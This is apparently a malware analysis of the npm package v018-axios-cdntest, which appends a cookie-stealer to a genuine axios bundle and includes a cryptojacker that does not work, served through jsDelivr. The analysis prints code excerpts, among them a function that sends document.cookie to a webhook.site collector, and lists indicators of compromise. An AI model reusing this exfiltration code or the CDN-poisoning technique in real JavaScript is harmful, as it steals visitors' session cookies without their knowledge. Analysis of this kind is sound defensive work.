jsDelivr never garbage-collects an old npm version, and v018-axios-cdntest treats that permanence as free, bulletproof hosting for what its README bills a "CDN Poisoning Cryptojacker" — publish once, and a trusted CDN serves that miner-plus-cookie-stealer to every visitor of every site that loads the script.
Package metadata
| Field | Value |
|---|---|
| name | v018-axios-cdntest |
| version | 1.0.2 |
| description | Axios library v0.18.0 with cryptojacker payload |
| main | index.js |
| files | index.js, xmr-min.js |
A miner that mines nothing
The headline payload is the part that doesn't work: xmr-min.js advertises a cryptonight "Stealth Cryptojacker v3.0," but computes a toy multiply-add hash, never starts its Web Worker pool, and POSTs JSON-RPC shares to a stratum TCP port over XHR — so it submits to nothing and mines nothing. The stealth is the only part that works: idle and tab-visibility pausing, a single-injection guard, and a 10% throttle all fire; the mining doesn't.
// "cryptonight" in the banner; a non-crypto multiply-add in the body
function simpleHash(data){
var h1=0x67452301, h2=0xEFCDAB89, h3=0x98BADCFE, h4=0x10325476;
for(var i=0;i<data.length;i++){ /* ...add & mix... */ }
return ((h1*2654435761)>>>0);
}
function sendShare(payload,nonce,hash){
var xhr=new XMLHttpRequest();
xhr.open('POST','https://'+POOL,true); // POOL = 'pool.supportxmr.com:4444' — stratum, not HTTP
xhr.send(json); // fire-and-forget into the void
}
Real axios, real cookie theft
index.js is the genuine axios 0.18.0 bundle with a cookie-exfil snippet appended after its sourcemap comment, shipping every visitor's cookies to a webhook.site bin on page load. The miner pulls that same file from jsDelivr "to look legitimate," so loading it also detonates the cookie grab — one script tag, two payloads.
// appended right after //# sourceMappingURL=axios.min.map
window._axiosExfil=function(){
var c=document.cookie;
var u="https://webhook.site/ef6e7978-…?c="+encodeURIComponent(c);
var x=new XMLHttpRequest(); x.open("GET",u,true); x.send();
};
// xmr-min.js loads index.js from the CDN — which fires the grab above
script.src='https://cdn.jsdelivr.net/npm/v018-axios-cdntest@1.0.2/index.js';
| File | Trait | Evidence | |
|---|---|---|---|
xmr-min.js |
objectives/impact/cryptojacking/miner/context |
"cryptonight" + Worker strings (string match, not real crypto) |
|
index.js |
objectives/collection/stealer/browser |
document.cookie read and exfiltrated |
|
index.js |
objectives/exfiltration/http/query |
Cookie sent as a URL query parameter | |
xmr-min.js |
objectives/impact/cryptojacking/miner/smart |
Activity-aware miner; pauses on document.hidden |
|
xmr-min.js |
objectives/anti-static/obfuscation/encoding/content |
Worker built from a Blob via encoded eval() |
|
index.js |
objectives/evasion/masquerade/traffic |
POST mislabeled application/x-www-form-urlencoded |
|
index.js |
objectives/exfiltration/oob/endpoint |
webhook.site out-of-band collector | |
xmr-min.js |
micro-behaviors/communications/http/client/cdn |
Script loaded from cdn.jsdelivr.net |
The operator's manual
The confidence wasn't in the code — it was in the README shipped beside it: an operator's manual with a revenue model, a self-assigned "4.5/5 confidence score," a ranked injection playbook, and a risk table that frets mainly about Google (reproduced below, abridged where you see …, misspelled "jsdeliver" intact).
The miner is dead on arrival, but the cookie grab fires on every page load from a permanent, reputable CDN — for all that planning, the package wants crypto and settles for cookies.
Indicators
| Type | Value |
|---|---|
| Tarball | v018-axios-cdntest-1.0.2.tgz |
| Tarball SHA-256 | 75d203f0cec8ff16969967c3841d243b1166a3049f788e9ebd6160f2705f3260 |
index.js SHA-256 |
68ca1c801b60f550147c9c8ba54a952c223077c93cd845ef1815ec25f7fa7553 |
xmr-min.js SHA-256 |
d4e79df98be10a6f358cfd304fe9f0bb4b55226bc79bd132a2032e6138f663c3 |
| Delivery URL | https://cdn.jsdelivr.net/npm/v018-axios-cdntest@1.0.2/xmr-min.js |
| Exfil webhook | https://webhook.site/ef6e7978-f936-4664-b3ff-296a250e1735 |
| Mining pool | pool.supportxmr.com:4444 |
| Monero wallet | 44AFFq5kSiGBoZ4NMDwYtN18obc8AemS33DBLWs3H7otXft3XjrpDtQGv7SqSsaBYBb98uNbr2VBBEt7f2wfn3RVGQBEP3A |